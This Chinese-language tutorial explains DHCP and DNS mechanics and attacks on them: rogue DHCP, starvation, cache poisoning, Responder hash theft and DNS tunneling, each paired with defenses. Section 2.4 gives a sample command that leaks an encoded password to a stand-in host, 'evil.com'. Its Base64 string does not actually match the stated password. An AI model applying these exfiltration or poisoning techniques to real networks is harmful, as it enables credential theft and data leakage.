网络基础设施：DHCP与DNS协议的底层交互与内网毒化

网络基础设施：DHCP与DNS协议的底层交互与内网毒化

在网络底层（IP/TCP）之上，有两座“看不见的基础设施”默默支撑着整个互联网的运转：DHCP（动态主机配置协议） 和 DNS（域名系统）。

它们一个负责在设备接入内网时自动分配“身份证”（IP、网关、DNS服务器地址），另一个负责将人类可读的域名翻译为机器可读的 IP。然而，这两大协议在早期设计时均缺乏身份验证机制，导致它们成为了内网横向移动（Lateral Movement）和流量劫持的重灾区。

本文将结合命令行排障工具与 Wireshark 抓包，深度解剖 DHCP 与 DNS 的工作流，并复现复杂域环境下的投毒与劫持攻击。

1. DHCP 协议：四步交互与“先到先得”陷阱

当一台新电脑（或虚拟机）插上网线或连上 Wi-Fi 时，它是如何获取到 IP 地址的？底层的魔法就是 DHCP 的 D.O.R.A 四步交互。

1.1 D.O.R.A 过程底层解剖 (Wireshark 视角)

DHCP 工作在应用层，基于 UDP 协议（客户端端口 68，服务端端口 67）。

💻 Wireshark 视角：真实的 DHCP 四步交互 在抓包工具中，你能清晰地看到新设备获取 IP 的全过程：

  1. D - Discover (发现)：客户端没有 IP，只能向全网发广播寻找 DHCP 服务器。 0.0.0.0:68 -> 255.255.255.255:67 [DHCP Discover]
  2. O - Offer (提供)：DHCP 服务器收到广播后，从地址池中挑一个 IP（如 192.168.1.100），单播或广播回复给客户端。 192.168.1.1:67 -> 255.255.255.255:68 [DHCP Offer] (包内包含 IP、网关、DNS 等配置)
  3. R - Request (请求)：客户端可能收到多个服务器的 Offer，它通常挑选最先到达的那个，并再次广播宣告：“我决定使用这台服务器提供的 192.168.1.100”。 0.0.0.0:68 -> 255.255.255.255:67 [DHCP Request]
  4. A - ACK (确认)：被选中的服务器最后回复确认，租约正式生效。 192.168.1.1:67 -> 255.255.255.255:68 [DHCP ACK]

1.2 经典攻击：流氓 DHCP 服务器 (Rogue DHCP)

致命缺陷：DHCP 协议完全基于“先到先得（Race Condition）”原则，客户端根本无法验证谁才是合法的服务器。

实战场景： 攻击者在内网（如咖啡厅公用 Wi-Fi 或企业办公网）接入一台伪造的 DHCP 服务器（Rogue DHCP）。由于攻击者的机器往往离受害者更近，其发送的 DHCP Offer 包比企业真实的 DHCP 服务器更快到达受害者。

  • 网关劫持：攻击者在 Offer 包中，将分配给受害者的网关地址设置为攻击者自己的 IP。受害者上网的所有流量都会流经攻击者。
  • DNS 劫持：攻击者在 Offer 包中，将DNS 服务器地址设置为攻击者控制的恶意 DNS 服务器。后续受害者的所有域名解析都将被重定向到钓鱼网站。

1.3 辅助攻击：DHCP 饥饿攻击 (Starvation)

为了确保流氓 DHCP 能够 100% 抢到生意，攻击者可以使用工具（如 Yersinia 或 dhcpstarv）伪造海量不同的 MAC 地址，向真实的 DHCP 服务器疯狂发送 DHCP Discover 请求。真实服务器的 IP 地址池会在几秒钟内被耗尽（Starvation），导致合法的 DHCP 彻底瘫痪，全网只能依赖攻击者的流氓服务器。

🛡️ 防御机制：DHCP Snooping 企业级交换机通过开启 DHCP Snooping 来防御此类攻击： 将连接真实 DHCP 服务器的交换机端口配置为 Trusted（信任端口），其余所有接入普通用户的端口均为 Untrusted（非信任端口）。如果交换机在 Untrusted 端口收到了 DHCP Offer 或 ACK 包（说明有人在私设服务器），直接丢弃该包并报警。

2. DNS 协议：互联网的翻译官与信任黑洞

DNS（Domain Name System）将人类记忆的域名（如 www.google.com）翻译为 IP 地址。DNS 默认使用 UDP 53 端口进行快速查询。

2.1 DNS 递归与迭代查询逻辑

💻 日常接触：使用 dig 命令追踪 DNS 解析过程 我们可以使用 Linux 下的 dig +trace 命令，模拟一台本地 DNS 服务器是如何通过“迭代查询”一步步问出结果的：

$ dig +trace www.google.com
# 1. 问根域名服务器 (.)：“你知道 .com 归谁管吗？”
.			518400	IN	NS	a.root-servers.net.

# 2. 问顶级域名服务器 (.com)：“你知道 google.com 归谁管吗？”
com.			172800	IN	NS	a.gtld-servers.net.

# 3. 问权威域名服务器 (google.com)：“请给我 www.google.com 的 A 记录 (IP)”
google.com.		172800	IN	NS	ns1.google.com.
www.google.com.		300	IN	A	142.250.190.36

2.2 协议缺陷与 DNS 欺骗 (DNS Spoofing / Cache Poisoning)

DNS 最大的安全缺陷在于：UDP 是无状态的，且 DNS 请求的校验仅仅依赖于一个 16 位的 Transaction ID (事务 ID)。

缓存投毒 (Cache Poisoning) 原理： 当内网的 DNS 缓存服务器向外网的权威服务器发起解析请求时，攻击者（只要能预测或穷举出 16 位的 Transaction ID 和源端口）就可以抢在真实的权威服务器响应之前，向内网 DNS 服务器发送一个伪造的 DNS Reply。 内网 DNS 服务器一旦接收了这个伪造的应答，就会将其写入本地缓存。随后，整个内网的所有用户访问该域名时，都会被直接引导至攻击者指定的恶意 IP（如钓鱼网站）。这就是大名鼎鼎的 Kaminsky 漏洞的核心逻辑。

2.3 复杂域环境下的 LLMNR/NBT-NS 投毒

在大型 Windows 域环境中，如果 DNS 解析失败，Windows 机器会退而求其次，使用局域网广播协议：LLMNR (链路本地多播名称解析) 和 NBT-NS (NetBIOS 名称服务) 来寻找目标机器。

💻 渗透实战：Responder 投毒窃取哈希 假设内网员工在资源管理器中错误地输入了一个不存在的共享盘路径 \\FILE-SERVR（少打了一个 E）。

  1. DNS 查不到这个名字，报错。
  2. Windows 随即在内网大喊（LLMNR 广播）：“谁是 FILE-SERVR？”
  3. 攻击者运行的 Responder 工具立刻回应：“我就是 FILE-SERVR，请把你的身份凭据交给我进行 SMB 认证！”
  4. 员工电脑信以为真，自动将当前登录用户的 NetNTLMv2 Hash 发送给了攻击者。
  5. 攻击者拿到 Hash 后，可进行离线密码破解或直接用于 SMB Relay（中继） 攻击，瞬间拿下内网其他机器的权限。

2.4 DNS 隐蔽隧道 (DNS Tunneling) 与数据外发

与 ICMP 隧道类似，企业防火墙虽然封锁了大部分端口，但绝不会封锁内部机器向内部 DNS 服务器发起的 53 端口查询。

攻击者如何利用 DNS 把内网机密偷出来？

  1. 攻击者注册一个受控域名（如 evil.com），并自己搭建其权威 DNS 服务器。
  2. 在被控内网机器上，将要窃取的机密数据（如密码 P@ssw0rd）经过 Base64 编码，拼接为子域名发起查询： nslookup PGFzc3cwcmQ.evil.com
  3. 内网的正常 DNS 服务器不知道这个域名，于是层层递归，最终将这个查询请求发送到了攻击者自己的权威 DNS 服务器上。
  4. 攻击者在服务器的日志中看到 PGFzc3cwcmQ，解码即得到了内网密码。整个数据外发过程完全寄生在合法的 DNS 查询流量中，极难被防火墙拦截。

3. 总结与防御演进

DHCP 和 DNS 的脆弱性，根源在于它们诞生于一个“互信的学术网络”时代。在零信任（Zero Trust）的现代企业架构中，必须为这些基础设施打上安全补丁：

  1. 针对 DHCP：必须在全网接入层交换机强制开启 DHCP Snooping，斩断流氓服务器的黑手。
  2. 针对 DNS 劫持：推动 DNSSEC 的部署，通过公钥密码学为 DNS 记录进行数字签名，确保解析结果的防篡改；同时推广 DoH (DNS over HTTPS)，对解析过程进行加密，防止中间人嗅探。
  3. 针对内网投毒：在 Windows 域组策略中强制禁用 LLMNR 和 NBT-NS，并开启 SMB 签名，直接阻断 Responder 窃取哈希的路径。